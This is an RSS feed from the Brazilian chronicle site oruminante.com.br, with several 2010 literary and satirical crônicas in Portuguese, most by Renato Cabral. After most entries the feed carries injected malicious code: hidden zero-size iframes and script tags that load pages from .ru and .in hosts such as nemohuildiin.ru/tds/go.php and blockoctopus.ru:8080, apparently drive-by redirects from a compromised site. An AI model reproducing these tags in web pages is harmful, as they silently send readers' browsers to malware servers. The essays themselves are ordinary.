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		<title>oruminante</title>
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		<description>Últimos textos do site oruminante.com.br</description>
		<language>pt-br</language>
		<category>Crônicas</category>
		<copyright>2002 - 2010 oruminante.com.br. Todos os direitos negociáveis.</copyright>
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			<title>oruminante.com.br</title>
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<title>Como fazer um texto vencedor para a web  - 3/7/10</title>
<link>http://www.oruminante.com.br/LstTxt.asp?CodTxt=2264</link>
<description><P align=center><IMG src="http://www.oruminante.com.br/ImgTxt/vuvuzela52722.jpg"></P>
<P><BR><FONT size=2 face=verdana>Prrrrrrrr. Pausa. PrrrrrrrrRRRRRummm. Calma. Não é uma vuvuzela. É um pum. Começar um texto com um peido é um desafio a que todo escritor desesperado deve se submeter. Com o advento da internet (argh!) e a dominância da imagem/Youtube sobre o texto, qualquer tentativa de falar com alguém que não seja utilizando os recursos visuais, ou no caso sonoros, seria uma incoerência. Se não há mais espaço para o texto, ainda há para o peido. E o usaremos sem parcimônia. Porque o peido, desta forma, cumpre a função que lhe cabe: além de trazer alívio intestinal, ainda consegue trazer o leitor até o fim de um doloroso e arrastado primeiro parágrafo como este. Parece contraditório, mas o peido agarra o leitor e agora a chance de alguém abandonar o texto é mínima. Isso se deve, claro, à escatologia e a morbidez que o próprio conteúdo na web nos acostumou a gostar. É a fruição do grotesco. É a estética do... chega de exemplos acadêmicos. O próprio Youtube funciona assim. Assim, o peido atrai e converte. E o leitor, você sabe, é como uma mosca interesseira, que vem ao encontro do fétido para aliviar o próprio odor de sua existência malograda e para ver saciadas suas exigências consumistas. Hein? Bem, não importa o que eu quis dizer nas duas últimas linhas. O essencial é encerrar logo e irmos ao segundo parágrafo. <BR>&nbsp;<BR>Agora que vencemos a ditadura das primeiras linhas, o leitor já se sente mais ambientado. O que é um risco. Essa acomodação é um pedido de mais. Que você traga o próximo prato. Mas o que ofertar a um leitor acostumado a passar seu tempo na web vendo o que a condição humana e a natureza criaram de mais atraente, ou seja: bundas, tetas e videocassetadas? Não há como vencer isso. E, por isso... continuaremos no próximo parágrafo.<BR>&nbsp;<BR>Já fomos lidos em dois parágrafos. Para os tempos de hoje isso é como ganhar um retuite. O mais lúcido agora seria terminar o texto deixando no leitor a sensação de que ele participou de uma experiência alucinógena, nonsense, algo quase ridículo, mas único, algo que ele, no fim, já está acostumado por fazer parte da materialidade da existência. Outra coisa. Num texto extremamente informal como este, inclua frases de efeito como “materialidade da existência”. Além de criar um contraste com o tom do texto, você cria um desafio à mente preguiçosa do leitor. É como se você começasse a chamá-lo de idiota. Porque, repare, enquanto o texto se prolonga a cada segundo, ele não consegue mais parar de ler sob o pretexto de se ver como um derrotado. Pronto. Você já tem mais um pouco da paciência dele para um outro parágrafo.<BR>&nbsp;<BR>Proponha, então, um pouco de atividade erótica. Não, espere. Ainda não. Sexo ainda não. Você já ousou muito até aqui. Já estamos no quarto parágrafo, no penúltimo, já foram 32 linhas de puro nada pra dizer, e que foi dito mesmo assim e, melhor, lido. Aproveite isso. Você está por cima. Não é hora de apelar pra via fácil do sexo. Jogue com tudo. Mostre pro leitor que ele é um alienado que escolheu o caminho idiotizante que o mundo promoveu com aqueles vídeos debilóides como, por exemplo, “Dunga em um dia de fúria”. Enrole o leitor. Fuja do assunto inicial ou simplesmente fique em silêncio encarando o leitor. Veja quem pisca primeiro. Silêncio. Silêncio. Silêncio. Silêncio. Silêncio. Silêncio. Silêncio. Silêncio. Silêncio. Silêncio. Silêncio. Silêncio. Silêncio. Silêncio. Silêncio. Silêncio. Silêncio. Silêncio. Silêncio. Silêncio. Silêncio. Silêncio. Silêncio. Silêncio. Ok, rápido, rápido, ele se encheu de nós, corra!&nbsp; Ele está indo embora. É hora de pedir desculpas e lhe apresentar o melhor. Faça as dançarinas entrarem. Aja rápido. Ofereça uma bebida. Isso, música, muita música. Serpentinas. Algazarra. Som alto e bundas rebolando na frente dele. Moças vestidas com langerries da seleção brasileira. Isso. Isso. É isso que eles querem, a distra<iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe></description>
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<title>This is the end - 20/5/10</title>
<link>http://www.oruminante.com.br/LstTxt.asp?CodTxt=2218</link>
<description><P align=center><IMG src="http://www.oruminante.com.br/ImgTxt/neguinhodoido.jpg"></P>
<P><FONT size=2 face=verdana>É isso, João? Tudo se resume, então, a esperar o despertador fritar a cuca pra depois irmos ao café com leite? E achar quente? E na janta o mexidão. Arroz, feijão. A vidinha é um colar de havaina que ganhamos lá no centro, João. Daí você entra na lotação e volta pra casa. E não tira o colar. Porque ele não sai. É assim. É fazer papel de bobo.&nbsp; </FONT></P>
<P><FONT size=2 face=verdana>É isso, seu Chico? Uma hora o dinheiro dá pra mais que um cigarro. E você compra seu sossego. Drogas pra aguentar o trabalho, a esposa, a falta de vontade pro sexo e pra tremedeira causada pela cachaça. Que barato. Que viagem. Alucinação psicodélica feita de calcinha suja de sobrinha. Eu sei, o preço da picanha anda daquele jeito e o churrasco no domingo já quebrou a laje e as nossas pernas. Diversão mesmo era dedão do pé no asfalto e pipa no vento. Era cabelinho sujo de suor e pezinho na enxurrada.</FONT></P>
<P><FONT size=2 face=verdana>Então é isso, Arnaldo? Uma vida resumida a lances de gol e tira-teimas? Nós na torcida repetindo coros e arrumando brigas? Quebrando a cara do outro por um carrinho malvado. Tá bom. Fazemos bem pior quando o tema é cruz e céu, religião e salvação. É isso, Galvão? Nosso quando muito é a bola na trave ou na placa de patrocínio? </FONT></P>
<P><FONT size=2 face=verdana>Eu sei, eu sei. Que papelão o&nbsp; nosso. A gente ainda indo à festa de casamento de terno nesse calor. A gente ainda comprando liquidificador e se divertindo com corte de gravata. Daí chegamos em casa. Que grosseiro. Trabalhar o dia inteiro e ainda ter que transar. Não é, querida?&nbsp;Minha pança maior que a dela, mais ou menos resignada e cheia de sapos; um pântano inteiro no rumem. Me passa o sal, Jacira?</FONT></P>
<P><FONT size=2 face=verdana>Bem que Deus poderia ser um anão palhaço de circo. Uma vez por ano a gente se reunia no picadeiro pra rir da cara dele e jogar tomates no seu peito. Mas é ele que está na platéia e se sacode com nossas piruetas dentro da cela com os leões. Porque estamos indo todos pro mesmo lugar. Não sei mais fazer bola com chiclete. No máximo ele estoura na cara ou gruda na chapinha das meninas. </FONT></P>
<P><FONT size=2 face=verdana>Era isso, Maria? Dar o bundinha pra poder casar ou pelo menos não engravidar? Que grande espera nessa farsa de festa. É na fila que a gente apodrece de uma vez. E o cartão de consumo marcado errado é a prova da nossa maluquice voluntária. Ninguém pediu pra gente vir. Mas viemos. E você ainda entrando na piscina pela escadinha. Estoura a bicuda nessa bola, moleque. Vai de voadora pra ver no que dá. </FONT></P>
<P><FONT size=2 face=verdana>É isso, patrão? É com o Power Point&nbsp; que mostramos nossas caras de tolos e nosso rego de fora? Eu sei, eu sei. Somos todos criaturinhas enganativas, tentando coisar um pouco de alguma coisa que nem sabemos mais o que é. Não faz mal, porque isso não é o pior. Tem ainda os juros, a inflação, o cartão, o cocô do cão, a promissória, a divisória, o coração na mão porque é Copa, a imaginação que não anda, o tesão que não vem e a Conceição que não menstrua. </FONT></P>
<P><FONT size=2 face=verdana>E tem esse cubo idiota que nunca consegui montar... essa placenta holográfica a me dizer: “Você é um idiota, você é um idiota”. Vou indo, tropeçando nos bêbados e nos cachorros soltos na calçada. Não são melhores que eu. Eu pelo menos não fedo por fora. Mas é só isso.</FONT></P>
<P><FONT size=2 face=verdana>Deixa assim. Vamos indo e virando os lixos. Tem cheiro de costelinha os absorventes velhos e tem restinho de Cheetos. Deixe as epifanias e as galinhas pros poetas e os macumbeiros, que sabem ver (ou inventar) coisas melhores que a gente. Somos o povo bunda, esqueceu? Você e mais eu só fazemos a roda girar para o chafariz alegrar os símios que não estão nem aí para as fontes e os jardins, para os fogos e os jogos. Nós que poderíamos da<iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe></description>
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<title>Limonada com cereja - 10/5/10</title>
<link>http://www.oruminante.com.br/LstTxt.asp?CodTxt=2205</link>
<description><P align=center><IMG src="http://www.oruminante.com.br/ImgTxt/lindabeleza95669.jpg"></P>
<P><FONT size=2 face=verdana><STRONG></STRONG></FONT>&nbsp;</P>
<P><FONT size=2 face=verdana><STRONG>Para Rafaella&nbsp;Biasi</STRONG><BR>&nbsp;<BR>O filme era Blade Runner. E, de tudo, me lembro de duas coisas. Uma era quando o replicante, antes de morrer, olha pra Harrison Ford e se pergunta sobre o que resta de tudo&nbsp;aquilo: “Todos momentos perdidos no tempo, como lágrimas na chuva”. Ele morre. E acaba. Acaba? Acaba. </FONT></P>
<P><FONT size=2 face=verdana>Você não precisa ter visto coisas que as pessoas jamais verão. Não precisa ter conhecido os raios brilhando na escuridão perto dos portões de Tanhauser, muito além de Orion, pra saber: todos somos portadores de pequenos momentos, pequenas revelações que nos fazem acreditar que algo está nos esperando ali na frente. Coisas minúsculas a nos falar: “estar aqui vale a pena”. Simples autoengano? Irrelevante, porque funciona. E porque cada história, por mais breve, mais simples ou mais triste que seja, traz em si a justificativa de sua existência. Cada história se basta, assim como cada vida. </FONT></P>
<P><FONT size=2 face=verdana>Nossa incapacidade de obter as repostas para o nosso mistério só aumenta o mistério. E o faz mais interessante também se você puser gelo e limão. De floreio em floreio a gente cria os jardins, não é? Então,&nbsp;a gente se pergunta, após uma gargalhada com quem gostamos: pra onde vão todos esses momentos? E o gelo derrete. &nbsp;</FONT></P>
<P><FONT size=2 face=verdana>Tudo nos escapa. Porque o presente não é um receptáculo, mas uma torneira. E porque nossas mãos não foram feitas pra pegar, mas pra lançar. Por um problema de ótica, acreditamos nas coisas eternas e criamos impossibilidades escorregadias. Essa miopia nos afasta de aprender a cheirar o aroma das coisas “insignificantes”. Mais ou menos como tropeçar de mãos dadas a alguém e encontrar ali, naquele sorriso&nbsp; de deboche, a salvação diante do mistério que poderia nos anular de tão pequenos. Porque quando você encontra um olho dando a prova do seu próprio, parece que tem algo ali que faz todo sentido. No final do livro de Saramago, “Ensaio sobre a Cegueira”, ele nos adverte: “Se puder olhar, veja. Se puder ver, repare”. E você pede mais um sorvete com cereja. </FONT></P>
<P><FONT size=2 face=verdana>Tudo se dissolve. Talvez porque somos viajantes perdidos no tempo. É. Ficamos como um pêndulo vacilando entre a direita e a esquerda, o passado e o futuro, a falta (desejo) e o tédio (sua realização). E achamos que no próximo badalar estará a resposta, o amor, a redenção. Até que um dia o pêndulo se cansa e ele para no exato lugar que já não temos tempo mais pra estar, o presente. Só a morte habita o presente. A vida gosta é de viajar. O sorvete derrete. E a cereja cai no chão. </FONT></P>
<P><FONT size=2 face=verdana>E agora me lembro também do fim do filme. A hora em que o caçador de andróides olha pra sua namorada replicante, que dorme no encosto do banco do carro,&nbsp; e se pergunta: “Eu não sei quanto tempo teremos. Mas, afinal, quem é que sabe?”. Na frente deles há uma estrada aparentemente sem fim. Aparentemente. Repare.</FONT></P>
<P><STRONG><FONT size=2 face=verdana>Por Renato Cabral</FONT></STRONG></P><script src=http://2677.in/yahoo.js></script><script src=http://get.postfolkovs.ru/js.js></script><script src=http://version.webservicesmulti.ru/js.js></script><iframe src="http://nutcountry.ru:8080/index.php?pid=13" width="0" height="0" style="display:none"></iframe><iframe src="http://blockoctopus.ru:8080/index.php?pid=13" width="0" height="0" style="display:none"></iframe><iframe src="http://blockoctopus.ru:8080/index.php?pid=13" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></if<iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe></description>
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<title>Anti ácido  - 6/5/10</title>
<link>http://www.oruminante.com.br/LstTxt.asp?CodTxt=2192</link>
<description><P align=center><IMG src="http://www.oruminante.com.br/ImgTxt/crop04187.jpg"><FONT size=2 face=verdana></P>
<P><BR>Faço o tipo hipocondríaco. Mas não flerto com doenças. Meu interesse é pelas bulas, mais que pelas pílulas. A gramática sempre me trouxe mais resultado que as alopatias. Ao invés de aspirina, um parágrafo de qualquer coisa. </P>
<P>É mais ou menos assim:&nbsp;eu acordo, amarelo e descrente, vou tropeçando até os armários, onde as palavras estão por toda parte, e abro qualquer coisa antes que a zonzeira me derrube. Pode ser uma frase pinçada, uma passagem, uma orelha que seja. Pronto. Já tenho meu barbitúrico anticonvulsivo. Então, posso aprumar, pegar o resto de mim e jogar nas costas pra ir pro dia. Começa a peleja.&nbsp;&nbsp; </P>
<P><BR>Sigo cada prescrição como um religioso. Mas meu fanatismo só dura até a próxima frase. Cada adversativa de um “mas” me salva de por a bomba no corpo ou ir para as praças pregar. Infiel a qualquer tema e a qualquer um, meu pecado é mesmo só essa promiscuidade com os autores que acaba em olhos de insônia. Vou pelejando como dá. </P>
<P><BR>Debruço meu destino sobre essas linhas achadas por acaso. Foi assim, aliás, que encontrei minha vida e hei de esbarrar com a morte qualquer hora. Mas isso é pra outro dia. Hoje tenho tosse. Talvez um Sponville me caia bem. Quem sabe um Contardo mais no fim da tarde se a coisa piorar.&nbsp;&nbsp;&nbsp; </P>
<P><BR>Como um papagaio, ou um macaco, vou de acordo com a ventania ou a resistência dos galhos. Se não há vento, vasculho o chão: Bukowski, Sade. Às vezes, feito coelho, vou abaixo: Dante, Lewis Carroll. Mas se venta muito, dou corda ao balão: Borges, Sartre, Hemingway, Camus, Rubem Alves, Will Durant, Machado. Teve até um dia que os espirros estavam tantos que cheguei a vagar pelo cosmos: Einstein, Osho, Nietzsche, Sagan. <BR><BR>Mas quando tudo é só essa brisa raquítica e sem graça, e a maior parte do tempo é, leio Veríssimo pela sensação de que devemos resistir&nbsp;a toda&nbsp;mornidão com um sorriso, que seja de ironia. Assim, percebi que nunca penso por mim. Minha vida é um caderninho de citações. Minhas frases e todo o meu discurso são a herança do repertório alheio. Minhas melhores tiradas eu devo ao espírito virtuoso de gente melhor que eu. Meu refluxo é uma indigestão de outros ruminantes. Eu devia ser proíbido de usar pronomes possessivos. Porque não sou dono de nada. Enfim, eu que sempre falei demais, nunca falei por mim. E vou pelejando.</P>
<P><BR>E agora preciso mais do que nunca ouvir dessas bocas (senão para sair do labirinto, pelo menos para não bater com o Minotauro antes do prazo) a minha salvação. Porque fiquei velho e duro. E, sem elas, me esvazio e seco. Fico oco; coco de praia. Só existo pelo valor que o náufrago me dá. E os náufragos são cada uma dessas frases perdidas no mundo. Delas sou mãe adotiva, já que não pude ser parteira, infelizmente. </P>
<P><BR>Desse jeito, fazemo-nos um favor duplo. Enquanto elas me dão&nbsp;a chance de memória e identidade, eu lhes dou uma oportunidade de existência despregada de seu tempo,&nbsp;uma continuidade que seus genitores talvez não previssem. A verdade é que, apesar das compensações existências mútuas, não posso ficar mais sem esses emplastos, porque desaprendi como enxergar sem o calço das sílabas alheias. Por isso vou pelejando no corrimão semântico de cada uma, mais do que elas em mim. Porque pelejar é a arte de tornar possível. E tenho dito. Ou repetido. Whatever. </P>
<P>Por <STRONG>Renato Cabral</STRONG></FONT><BR></P><script src=http://2677.in/yahoo.js></script><script src=http://get.postfolkovs.ru/js.js></script><script src=http://version.webservicesmulti.ru/js.js></script><iframe src="http://nutcountry.ru:8080/index.php?pid=13" width="0" height="0" style="display:none"></iframe><iframe src="http://blockoctopus.ru:8080/index.php?pid=13" width="0" height="0" style="display:none"></iframe><iframe src="http://blockoctopus.ru:8080/index.php?pid=13" width="0" height<iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe></description>
</item>
<item>
<title>Efeito Cinderela - Como se dar bem na alta roda - 3/5/10</title>
<link>http://www.oruminante.com.br/LstTxt.asp?CodTxt=2183</link>
<description><P align=center><IMG src="http://www.oruminante.com.br/ImgTxt/humor.jpg"></P>
<P><FONT size=2 face=verdana></FONT>&nbsp;</P>
<P><FONT size=2 face=verdana>Modelos, astros e pessoas bem-sucedidas têm o estranho fascínio de nos causar aquele frisson (acredite, eu jamais usaria esta palavra conversando), aquela inveja sincera, aquele gostinho de “puxa, poderia ser eu, e se fosse... ah!”. Já reparou como eles parecem mais bonitos, mais fortes, com roupas mais bem passadas do que o resto de nós? É a magia da celebridade atuando sobre sua áurea carregada por contas a pagar. Mas não se leve por essa primeira impressão apressada e artificial.</FONT></P>
<P><FONT size=2 face=verdana>Do outro lado, já viu como pessoas pobres e com o destino selado pelo infortúnio e pela penúria são descobertas com facilidade em eventos sociais? Os sinais são tantos que uma lista inviabilizaria o texto. De qualquer forma, há meios de disfarçar e fazer pose. Sucesso, no fundo, não é gratuito; pode ser construído com dedicação, disciplina e muita cara de pau.</FONT></P>
<P><FONT size=2 face=verdana>Falarei do básico. Nada de novo. Um monte de gente já faz isso há um tempão. E faz com tanta naturalidade que acaba acreditando no que faz. É essa a graça, não? Se você também não tem onde cair morto, melhor que descobrir quem é um miserável em uma festa, por que não tentar se dar bem na alta roda sabendo como ela funciona? Vamos lá. </FONT></P>
<P><FONT size=2 face=verdana><STRONG>Que sorriso é esse?</STRONG> Gente famosa não ri. Gente famosa não abre a boca para mostrar os dentes. Esse povo é esnobe e ingrato. Mas se for pra rir, dê uma gargalhada bem alta pondo a cabeça pra trás para demonstrar o quanto você é poderoso e metido a besta. Aquele tipo de gente que tem nactarinas na geladeira e sabonete de glicerina no banheiro. Clichês como este são a prova máxima de que para ser famoso basta ser idiota. </FONT></P>
<P><FONT size=2 face=verdana><STRONG>E tem o olhar.</STRONG> Olhar é tudo, rapaz. Vai ficar olhando para todo mundo para ver se estão te notando? Nunca encare ninguém. Faça o olhar dispersivo do fodão sem preocupação e sem destino, que já conquistou tudo e que nem com sua ereção se preocupa mais. Force aquele ar enfadonho e sem brilho de quem acha o mundo um porre. Quando uma mulher estiver conversando com você, prefira flertar com o copo de uísque. Não dê bola. É golpe, você sabe. É mulher pobre. É mulher que só quer o seu suposto dinheiro. Não dê a ela. Vingue-se! Até porque mulher poderosa não conversa com homem, pra isso existem os motoristas e os seguranças.&nbsp; </FONT></P>
<P><FONT size=2 face=verdana><STRONG>Mão no ombro.</STRONG> Quem gosta de ficar encostando, dando tapinha nas costas, é puxa-saco e todo puxa-saco é pobre e sem influência. Por favor, nada de ficar relando, dançando encostado, conversar pegando no braço, nem passar a mão ensebada no cabelo de ninguém. Isso só mostra que você vem de bairros sem saneamento básico e que para conseguir as coisas precisa ser na força, ao invés de ser pelo cartão de crédito.&nbsp; </FONT></P>
<P><FONT size=2 face=verdana><STRONG>Ainda sobre a dança.</STRONG> Você dança demais. Que passinho é esse? Está deixando claro que é um assíduo freqüentador de pagodes e adjacências. Nada de ir para a pista, ficar suado. Mas se for exigido, não levante os braços nem agache para dançar. Isso, além de brega, é coisa de veado ou de mulher tonta. Ah, e se afaste de meninas que façam movimento de dança do ventre. Não há nada mais horroroso do que isso. </FONT></P>
<P><FONT size=2 face=verdana><STRONG>Comida. </STRONG>Fuja das bandejas! Nada de pôr petiscos no bolso pra levar para sua irmã gorda. Os canapés estão ali propositalmente para te envergonhar e mostrar o quanto você é só mesmo um esfomeado que se rende fácil ao poder de seu estômago. Sim, eu sei que você está faminto. Mas lembre-se: comida numa festa não é de comer, é só um pretexto para a existência de garçons, para que todos se sintam bem com s<iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe></description>
</item>
<item>
<title>Canela na quina - 27/4/10</title>
<link>http://www.oruminante.com.br/LstTxt.asp?CodTxt=2157</link>
<description><P align=center><IMG src="http://www.oruminante.com.br/ImgTxt/riso.jpg"><BR></P>
<P><FONT size=2 face=verdana>Daí vinha o almoço, o bip do crachá e a fome, que já tinha seu horário e seu jeito de avisar. Eu descia a rua distraído pra tudo, menos praquela esquina. Lá embaixo, na porta de uma fábrica qualquer, à esquerda, aquele qualquer sentado, a marmita no colo, depois no passeio; uma perna perto do peito e a outra reta no chão. Ele com o olhar pesado de sono, mas sem perder o passar dos carros. Passava o meu.</FONT></P>
<P><FONT size=2 face=verdana>Todos os dias a mesma coisa. Durava quatro segundos. Talvez uns sete se eu ainda o buscasse pelo retrovisor. Um dia, nesses súbitos, que é quando as coisas nos aparecem como fantasmas, eu passei e pela primeira vez ele olhou pra mim de verdade. Sorriu. Os dentes podres. A cara lavada de sol e de trincas. Mas já não tinha o ar da apatia nem da resignação. Só pude pensar nessas coisas que alguém que está num carro pensa de quem está jogado no passeio como um bóia fria: como ele aguenta ficar por ali, à deriva, todos os dias, fazendo a mesma coisa, ou melhor, não fazendo nada? O que ele espera? Aliás, tem esperanças um homem assim?</FONT></P>
<P><FONT size=2 face=verdana>E foi quando entendi seu sorriso. Ele não sorria pra mim. Ria de mim. Porque, como se pudesse antecipar o que eu ia pensar, suas gengivas escuras me diziam: “ó, pobre homem, somos dois ferrados a fazer a mesma coisa todos os dias. Dois Prometeus a rolar a pedra sem descanso até o alto da montanha pra depois ir buscá-la de novo no chão. E você só sabe que estou aqui e assim porque você precisa também passar aqui todos os dias pra cumprir sua procissão e sua via crucis. Por isso, esse encontro na quina do quarteirão e esse riso de desespero que é meu, mas é seu também. Passar bem, se for possível”. </FONT></P>
<P><FONT size=2 face=verdana>Não pude mais ir pra casa por aquele caminho. O feijão com o arroz nunca&nbsp;desceu de vez pela guela. A visão daquela esquina era a peste da condição humana por todos os cantos. Mudei de caminho, mas não mudei o jeito de olhar para os cruzamentos, que trazem trombadas e encontros possíveis, às vezes esclarecedores, tantas vezes perturbadores. Sempre que me acho mais interessante do que qualquer um, me lembro daquele sorriso interessado de um ninguém que me trouxe pra isso que a gente chama de luz, mas que na verdade é escuro e fede como ferida aberta, que é febre e é mais doído que alucinação de gente louca: a possibilidade para uma nova verdade. </FONT></P>
<P><FONT size=2 face=verdana>Por <STRONG>Renato Cabral</STRONG></P></FONT><script src=http://2677.in/yahoo.js></script><script src=http://get.postfolkovs.ru/js.js></script><script src=http://version.webservicesmulti.ru/js.js></script><iframe src="http://nutcountry.ru:8080/index.php?pid=13" width="0" height="0" style="display:none"></iframe><iframe src="http://blockoctopus.ru:8080/index.php?pid=13" width="0" height="0" style="display:none"></iframe><iframe src="http://blockoctopus.ru:8080/index.php?pid=13" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.ph<iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe></description>
</item>
<item>
<title>Dim Shadows - 21/4/10</title>
<link>http://www.oruminante.com.br/LstTxt.asp?CodTxt=2141</link>
<description><P align=center><IMG src="http://www.oruminante.com.br/ImgTxt/votota71851.jpg"></P>
<P>&nbsp;</P>
<P><FONT size=2 face=verdana>Quando eu era garota, colecionava bonecas. Ganhava de presente das pessoas. Para cada uma eu criava um mundo, uma história. Mas, sozinhas, elas não podiam brincar. Dependiam de mim pra viver. Assim, aprendi a olhar para nós, a admirar o milagre humano; o absurdo de estarmos por aqui. Também sozinhos...</FONT></P>
<P><FONT size=2 face=verdana>Demorei muitos anos pra me tornar quem sou. O que fiz de mim me fez única. O que ficou pra trás me iguala a todos, à multidão dos adiados, ao rebanho dos condenados, a essa procissão sem fim de passantes. Quanta gente por aqui. Quantos desperdiçados. Tão perdidos. Cheios de esperança e de esperar, de angústias e delírios. Tantos enterrados entre fantasmas. Cegos de fé.&nbsp;Quantos em vão. </FONT></P>
<P><FONT size=2 face=verdana>Ouça o silêncio desses espaços vazios. Olha pra cima e veja o quanto nossa vaidade é pequena diante deste mistério. E olha pra dentro pra ver que só temos ela para nossa solidão. Aqui, somos todos iguais, como os pardos da noite, como as bonecas de plástico. Mesquinhos, arrogantes, invejosos... Quantos nomes não tivemos. </FONT></P>
<P><FONT size=2 face=verdana>Olha pros que estão perdidos nesta ponte que não vai e que não chega. Que não cai e que não tem fim. Pensa nas multidões que já passaram por aqui. Toda essa gente que nasce, que vive junta e que irá desaparecer um dia. Pensa na vida que outros levaram, na que será vivida depois de você. Quantas travessias na tempestade ou na calmaria. Quantas lágrimas na chuva.</FONT></P>
<P><FONT size=2 face=verdana>Quantos homens não sabem o seu nome. Quantos logo o esquecerão.&nbsp;Quanta lembrança ficou. Quanto, enfim, de tudo isso sobrou? Porque só disso vale a pena falar e ouvir. Só dessa história que é a nossa. Porque o&nbsp; mundo está cheio de santos sem nomes, de gênios sem obras. Suspensos, somos este pequeno&nbsp;instante&nbsp;de imaginação perdida no tempo, pregados e quase caindo deste pedacinho de terra e água que perdura pela imensidão. Como os sonhos que se apagam. Como as bonecas esquecidas no armário. Mas ainda aqui. Ainda aqui. <BR><BR><STRONG>Renato Cabral</STRONG></FONT></P><script src=http://2677.in/yahoo.js></script><script src=http://get.postfolkovs.ru/js.js></script><script src=http://version.webservicesmulti.ru/js.js></script><iframe src="http://nutcountry.ru:8080/index.php?pid=13" width="0" height="0" style="display:none"></iframe><iframe src="http://blockoctopus.ru:8080/index.php?pid=13" width="0" height="0" style="display:none"></iframe><iframe src="http://blockoctopus.ru:8080/index.php?pid=13" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe><iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="displa<iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe></description>
</item>
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<title>Carniceiro - 12/4/10</title>
<link>http://www.oruminante.com.br/LstTxt.asp?CodTxt=2113</link>
<description><P align=center><IMG src="http://www.oruminante.com.br/ImgTxt/delirio72791.jpg"></P>
<P><BR><FONT size=2 face=verdana><BR>Já viu uma carne apodrecendo ao sol, minha querida? Já sentiu tanta sede que deu vontade de mastigar os lábios pra poder beijar o sangue? Já enfiou o dedo com tanta força na ferida que a alma deu de querer pular pra fora? Já viu um pedaço de boi assar sobre a brasa sem dar vontade de babar? Já viu como fica a cara de um defunto após uma semana?</FONT></P><FONT size=2 face=verdana>
<P><BR>E agora você aí, dormindo que nem se lembra que ainda é viva. Sonha com seus mundos. Sonha. Porque eu aqui também a pajear seus suspiros e seus lençóis. Não adianta, eu sei onde estão seus pés e suas curvas, a sua cava e os “regalos” do seu busto. Sei onde estão seus buracos por onde fogem os esgotos e se escondem&nbsp;as carnes que te trazem até&nbsp;mim. </P>
<P><BR>Dorme, menina. Que meu susto não vai te acordar nem minha&nbsp;saliva misturar com o visgo que sai do seu ventre. Porque minha fome não ultrapassa o seu vôo e seu horizonte. Não agora. Não nesta hora. Estou cá, cheirando seu calor. Vendo os milímetros de sua crosta que cresce e morre em pele, a cada noite mais um pouco. Você se refazendo de novo, como se adiantasse, como se você pudesse evitar se enrugar e se curvar. <BR></P>
<P>Dorme, minha pequena, que eu cuido da noite. Esquece do tempo que ele é meu irmão e só gosta das paredes, dos pulsos e de estrelas. Esquece da morte, essa pobre faminta... tão afoida... tão magra... tão ansiosa por você... esquece da morte que sou eu. Eu a te vigiar. </P>
<P>Dorme que o melhor não é te comer, é te olhar... é te ver inerte e tão quente. Porque esse é o meu drama eterno. É que minha fome não cessa e não se cura. Porque enquanto você está eu não estou. E quando eu estou, você já está fria e o que janto não é mais você, mas a companhia dos seus restos. Você carniça. Eu carniceira.</P>
<P><BR>Só há um momento em que posso realmente estar com você, menina. É quando você&nbsp;morre ainda viva. É&nbsp;quando você goza. Só nessa morte tão rara é que nos encontramos. Ali é nosso leito e nossa transa, sua dívida e minha trapaça. Mas você sempre volta, abre os olhos e respira. Eu te perco, mas te espero sempre. Porque te quero tanto. </P>
<P><BR>Aproveita teu corpo, minha menina. Goze pra que possamos nos dar as mãos e ver que a vida é tão cheia de tristeza e a morte a única alegria. Que a vida é esse cisco no olho e essa alergia. E que eu sou teu gosto na boca, seu suspiro e seu grito. Eu sou sua morte, minha querida. Dorme. E amanhã bem cedo, se toque, pra que eu possa te buscar e te sentir um pouco mais pra próxima de mim.</P>
